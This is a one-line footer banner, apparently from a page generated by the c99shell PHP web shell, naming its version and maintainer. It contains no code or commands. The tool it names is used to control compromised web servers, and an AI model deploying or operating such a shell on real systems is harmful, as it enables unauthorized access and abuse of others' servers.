--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0856 ]--